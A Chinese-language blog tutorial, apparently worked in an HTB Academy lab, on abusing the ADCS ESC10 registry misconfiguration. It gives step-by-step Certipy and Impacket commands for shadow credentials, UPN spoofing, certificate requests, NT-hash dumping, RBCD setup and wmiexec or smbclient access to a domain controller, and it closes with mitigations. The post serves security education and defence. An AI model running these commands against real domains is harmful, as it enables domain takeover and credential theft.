ADCS ESC10攻击剖析:利用注册表配置不当实现权限提升

本文深入分析ADCS ESC10漏洞,详细讲解如何利用Kerberos和Schannel认证中的注册表配置弱点,通过修改UPN和证书映射实现域管理员权限提升,包含完整的攻击步骤和缓解措施。

ADCS攻击系列:通过配置不当的注册表滥用ESC10实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

与AD的许多组件一样,ADCS存在攻击者可利用进行权限提升和域入侵的漏洞。这些弱点使用"ESC"前缀加数字(如ESC1、ESC2等)来跟踪特定的配置错误。

在本ADCS系列中,我将采用实用的逐步方法逐个分析配置错误。今天我们将关注ESC10,它涉及削弱证书映射的注册表配置错误。

在演示中,我将使用HTB Academy的"ADCS攻击模块"作为实验环境。

目录

  • 理解ESC10
  • ESC10要求
  • 所需工具
  • ESC10滥用
  • 缓解措施
  • 资源

理解ESC10

ESC10建立在ESC9基础上,因为它也涉及证书映射问题,但这次问题源于决定证书如何映射到用户的注册表配置错误。

在之前的文章"ADCS攻击系列:通过弱证书映射滥用ESC9实现权限提升"中,我们看到了证书映射在Active Directory中的工作原理。AD通过检查用户主体名称(UPN)、主题替代名称(SAN)甚至证书中嵌入的objectSid等字段来验证证书所有权。

从2023年的KB5014754开始,微软开始实施更严格的验证检查来加强此过程。这些控制依赖于两个主要注册表键:

  • StrongCertificateBindingEnforcement
  • CertificateMappingMethods

StrongCertificateBindingEnforcement (Kerberos映射)

此注册表键定义域控制器在Kerberos认证期间验证证书的严格程度:

  • 禁用模式(0):无强验证检查
  • 兼容模式(1):进行一些检查,但如果账户在证书颁发前存在,证书仍可能工作
  • 完全强制执行(2):严格的验证检查,如果映射不匹配,认证失败

CertificateMappingMethods (Schannel映射)

此注册表键定义证书如何通过Schannel协议(如LDAPS)映射。它接受位标志:

  • 0x01:主题/颁发者
  • 0x02:仅颁发者
  • 0x04:用户主体名称(UPN)
  • 0x08:S4U2Self
  • 0x10:S4U2Self显式

如果UPN映射位0x04启用且我们控制一个用户,我们只需将其UPN更改为administrator。然后当我们请求带有该UPN的证书时,Active Directory会错误地将其映射到实际的Administrator账户。

ESC10要求

由于ESC10涉及注册表配置错误,而非模板配置错误,我们无法作为低权限用户可靠地识别它。没有域管理员权限,我们无法读取DC的注册表。

这意味着发现通常是试错过程,我们尝试流程并查看什么成功。以下是需要检查的内容:

  • 控制具有GenericWrite、WriteOwner或WriteDACL等权限的用户或机器账户
  • 任何允许客户端认证的证书模板,检查内置模板如"User"模板(如果启用)
  • 对于滥用Kerberos映射,StrongCertificateBindingEnforcement需要设置为0 - 这很罕见,因为微软正在推动在未设置密钥时默认强制执行完全强制执行(2)
  • 对于滥用Schannel,CertificateMappingMethods需要启用0x04 UPN映射,此标志默认禁用 - 同样,在现代环境中已不常见

📌 注意:2025年9月更新后,此密钥将不再被遵守。所有DC将强制执行完全强制执行(2),没有回滚选项。

所需工具

Linux:Certipy、Impacket、NetExec

ESC10滥用

利用ESC10取决于认证通道"Kerberos或Schannel",以及我们目标是用户还是机器账户。整体流程类似于我们在ESC9文章中介绍的内容。

Kerberos映射

当StrongCertificateBindingEnforcement设置为0时,KDC跳过所有强绑定检查,包括基于证书的Kerberos登录期间的objectSid。

这使得映射变得宽松,允许我们更改UPN并通过将其设置为类似administrator@local.lab来冒充任何域用户,并让KDC接受该证书作为该账户。

由于这是Kerberos,成功的证书登录会为我们提供目标账户的TGT作为该用户,或跨域的机器。

1. 识别我们可以控制的用户

首先,我们需要找到我们可以控制的用户账户,一个我们有GenericWrite、WriteDACL或GenericAll等权限的账户,这些权限允许我们修改UPN等属性。

使用GenericWrite,我们可以重置用户密码并访问账户。WriteDACL更进一步,允许我们编辑用户的DACL以授予自己完全控制权。而使用GenericAll,我们已经对对象拥有完全控制权。

我们可以使用BloodHound查找拥有这些权限的用户。我们当前用户是blwasp,因此我们将在BloodHound中查找"出站对象控制"权限。

如下图所示,blwasp对多个用户拥有GenericAll权限。我们将使用james进行此攻击。

2. 验证我们对用户的权限

我们可以使用Impacket的dacledit模块确认我们对目标用户james的访问权限。

1
impacket-dacledit -action read -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!' -principal blwasp -target james

如输出所示,blwasp对james拥有"FullControl",确认我们可以继续修改其属性。

如果我们只有对目标用户的WriteOwner或WriteDACL权限,我们需要先修改DACL以授予自己FullControl。这也可以通过dacledit完成。以下命令授予当前用户对目标用户对象(james)的完全控制权限。

1
impacket-dacledit -action write -rights 'FullControl' -principal blwasp -target james -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!'

3. 检索目标用户凭据

对目标用户james拥有完全控制权后,我们有几个选项。我们可以重置其密码或使用Shadow Credentials添加额外凭据。

为了符合真实场景,我们希望避免重置用户密码并造成操作中断,我们将采用Shadow Credentials方法。

Shadow Credentials让我们生成自己的密钥对并将其注入目标账户的msDS-KeyCredentialLink属性。这为我们提供了一种以用户james身份认证而不更改其实际密码的方法。

我们将使用Certipy的shadow命令:

1
certipy-ad shadow auto -u 'blwasp@lab.local' -p 'Password123!' -account james -dc-ip 10.129.228.236

4. 修改UPN

现在,为了匹配我们想要冒充的身份,在我们的案例中是administrator(DA)。这一步很重要,因为当我们稍后请求证书时,证书中嵌入的UPN是KDC将用于账户映射的内容。

如果UPN与特权账户匹配,KDC会将证书映射到该账户并允许我们冒充它。要更新用户james的UPN,我们可以使用以下Certipy命令。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn administrator@lab.local -dc-ip 10.129.228.236

5. 以冒充用户身份请求证书

更新目标用户james的UPN并添加shadow凭据后,我们现在可以使用易受攻击的模板以james身份请求证书。

我们可以使用内置的User模板(如果启用),或任何其他易受攻击的模板,只要它满足以下条件:

  • 允许客户端认证(扩展密钥用法:客户端认证)
  • 具有允许低权限用户注册的宽松注册权限,如域用户、Everyone或认证用户

要请求证书,我们可以使用Certipy中的req选项:

1
certipy-ad req -u 'james@lab.local' -hashes 7facdc498ed1680c4fd1448319a8c04f -ca lab-LAB-DC-CA -template User -dc-ip 10.129.228.236 -debug

由于UPN现在与Administrator匹配,证书将在认证期间映射到Administrator账户,允许我们冒充他们。

6. 恢复更改

获取证书后,我们需要将james的UPN恢复为其原始值,以避免认证问题。

如果UPN保持为administrator@lab.local,DC可能将证书映射到错误的对象,在这种情况下映射到james而不是真正的Administrator。这可能触发名称不匹配错误,甚至在尝试请求TGT时触发KDC_ERR_C_PRINCIPAL_UNKNOWN。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn james@lab.local -dc-ip 10.129.228.236

7. 转储冒充账户的NT哈希

现在我们有了证书,我们可以使用auth命令以DA身份认证并转储NT哈希:

1
certipy-ad auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

8. 使用NetExec验证哈希

接下来,使用nxc通过运行以下命令验证NT哈希:

1
nxc ldap 10.129.228.236 -u administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -d lab.local

Schannel映射

当CertificateMappingMethods设置为UPN映射(0x04)时,AD信任任何具有匹配UPN的证书;不强制执行强绑定。

这意味着我们可以修改UPN以匹配高权限账户,证书将被接受为该账户。

在基于Schannel的认证中(通常通过LDAPS使用),我们无法像在Kerberos案例中那样使用用户证书进行认证。Schannel认证允许机器证书向目标认证。

因此,冒充域用户如DA在这里没有帮助。相反,我们将冒充DC机器账户DC01$@domain.local来访问DC。

步骤类似于Kerberos案例,但这次我们将目标修改UNP为DC账户而不是DA账户。

1. 识别我们可以控制的用户

与之前相同,我们需要控制用户或机器对象,以便我们可以修改其UPN进行冒充。我们将再次使用BloodHound检查当前用户blwasp拥有ACL权限的用户或机器。

我们知道之前用户blwasp对james拥有GenericAll权限。

2. 添加Shadow Credentials

与之前相同,我们将使用Certipy创建shadow凭据:

1
certipy-ad shadow auto -u 'blwasp@lab.local' -p 'Password123!' -account james -dc-ip 10.129.228.236

3. 修改UPN

现在我们将修改UPN。但与Kerberos案例中将其设置为DA用户不同,我们将将其设置为DC机器账户 - 在这种情况下,对于Schannel基于证书的认证,设置为LAB-DC.LAB.LOCAL。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn 'lab-dc$@lab.local' -dc-ip 10.129.228.236

确保在机器账户名称中包含$并将其格式化为有效的UPN。

4. 以冒充机器账户身份请求证书

现在我们可以使用User模板为james请求证书。由于我们将james的UPN更新为DC的(LAB-DC$@lab.local),生成的证书现在应映射到DC机器账户。

1
certipy-ad req -u 'james@lab.local' -hashes 7facdc498ed1680c4fd1448319a8c04f -ca lab-LAB-DC-CA -template User -dc-ip 10.129.228.236 -debug

5. 恢复更改

获取证书后,我们需要将james的UPN恢复为其原始值,以避免认证问题,如证书映射到错误对象或触发KDC_ERR_C_PRINCIPAL_UNKNOWN。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn james@lab.local -dc-ip 10.129.228.236

6. 使用Schannel连接到DC

接下来,我们使用从滥用ESC10获得的证书向域控制器认证。Certipy提供-ldap-shell选项,允许我们通过Schannel(LDAPS)绑定。

1
certipy-ad auth -pfx lab-dc.pfx -domain lab.local -dc-ip 10.129.228.236 -ldap-shell

如下所示,我们成功通过LDAPS以LAB\DC$身份认证。

虽然这不像获得TGT后基于Kerberos的访问那样提供交互式shell,但Certipy中的LDAP shell确实提供了一些命令,可用于发起攻击,如基于资源的约束委派(RBCD)以完全入侵DC。

RBCD简而言之是在目标机器上配置的设置,定义允许哪些用户或计算机向该机器冒充其他身份。

只有有权编辑AllowedToActOnBehalfOfOtherIdentity属性的用户才能修改受信任账户列表,让我们添加我们控制的用户或机器。

在我们的案例中,将添加一个新的计算机账户,并设置DC机器上的RBCD以信任我们新创建的账户。

7. 创建新的计算机账户

现在我们通过LDAPS(Schannel)认证到域控制器,我们可以使用Certipy的LDAP shell中的内置add_computer命令创建新的计算机账户。

我们将创建一个名为rbcd-test$的机器账户,密码为PasswordTest123!。在LDAP shell中,运行以下命令:

1
add_computer rbcd-test PasswordTest123!

添加后,我们完全控制rbcd-test$,可以在下一步中配置RBCD时使用它。

8. 在DC上设置RBCD

现在我们创建了机器账户(rbcd-test$),下一步是配置RBCD,以便它可以向DC(lab-dc$)冒充用户。

我们将使用Certipy的LDAP shell中的set_rbcd命令执行此操作,该命令修改DC计算机对象上的msDS-AllowedToActOnBehalfOfOtherIdentity属性以包括我们的新机器账户。

1
set_rbcd lab-dc$ rbcd-test$

如下所示,rbcd-test$账户被添加到允许向lab-dc$冒充用户的受信任账户列表中。

现在我们有了账户rbcd-test$,它可以冒充任何用户访问DC。我们必须切换到Kerberos以获取服务票证(ST)并交互式访问DC。

Schannel允许您执行LDAP绑定操作,但它不授予服务票证或允许您作为另一个用户与SMB或WinRM等服务交互。这是Kerberos的工作。

Schannel认证可以奠定基础,但需要Kerberos来执行攻击。

9. 使用Kerberos认证获取服务票证

现在RBCD已配置,我们可以使用我们控制的机器账户请求服务票证(TGS),用于CIFS(用于SMB访问)或HOST(用于WinRM访问)等服务。

我们将冒充Administrator账户:

1
impacket-getST -spn cifs/LAB-DC.LAB.LOCAL -impersonate administrator -dc-ip 10.129.228.236 lab.local/'rbcd-test$':'PasswordTest123!'

如下所示,如果成功,这将把票证保存在名为administrator@cifs_LAB-DC.LAB.LOCAL@LAB.LOCAL.ccache的.ccache文件中。

📌 注意:在真实场景中,代替直接冒充administrator账户,在BloodHound中查找要冒充的实际域管理员之一。这避免了如果用户不存在时的"Client not found in Kerberos database"问题。

10. 设置Kerberos票证

之后,设置KRB5CCNAME变量指向票证,以便wmiexec或smbclient等工具可以使用它,然后使用klist命令检查票证是否正确导入。

1
2
3
4
5
#设置kerberos票证
export KRB5CCNAME=administrator@cifs_LAB-DC.LAB.LOCAL@LAB.LOCAL.ccache

#检查导入的票证
klist

要清除当前Kerberos票证:

1
unset KRB5CCNAME

要设置另一个票证:

1
export KRB5CCNAME=TicketName.ccache

11. 访问DC

最后,我们可以使用smbclient或wmiexec通过获得的票证交互式访问DC。

对于SMB访问:

1
impacket-smbclient -k -no-pass administrator@LAB-DC.LAB.LOCAL -dc-ip 10.129.228.236

对于通过WMI的命令执行:

1
impacket-wmiexec -k -no-pass administrator@LAB-DC.LAB.LOCAL -dc-ip 10.129.228.236

缓解措施

  • 如果尚未应用,应用KB5014754,该更新强制执行强证书映射
  • 如果未应用补丁,将StrongCertificateBindingEnforcement设置为2(完全强制执行)或至少1(兼容模式)
  • 通过删除或避免0x04禁用弱UPN映射:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel值0x04允许UPN匹配,ESC10滥用此功能

今天,我们研究了如何滥用另一个ADCS漏洞ESC10,它建立在ESC9基础上,针对通过配置错误的注册表设置的证书映射。

我们演示了攻击者如何利用基于Kerberos和Schannel的认证来冒充特权用户、配置RBCD,并最终完全控制域。打补丁和注册表加固对于防止此攻击至关重要。

下次见,感谢阅读!

资源

  • Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!
  • KB5014754: Certificate-based authentication changes on Windows domain controllers
  • ADCS Exploitation Part 1: Common Attacks
  • Skidaddle Skideldi — I just pwnd your PKI
  • ADCS Attack Paths in BloodHound — Part 3
  • Certificates and Pwnage and Patches, Oh My!
  • Defending Your Directory: An Expert Guide to Fortifying Active Directory Certificate Services (ADCS) Against Exploitation
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计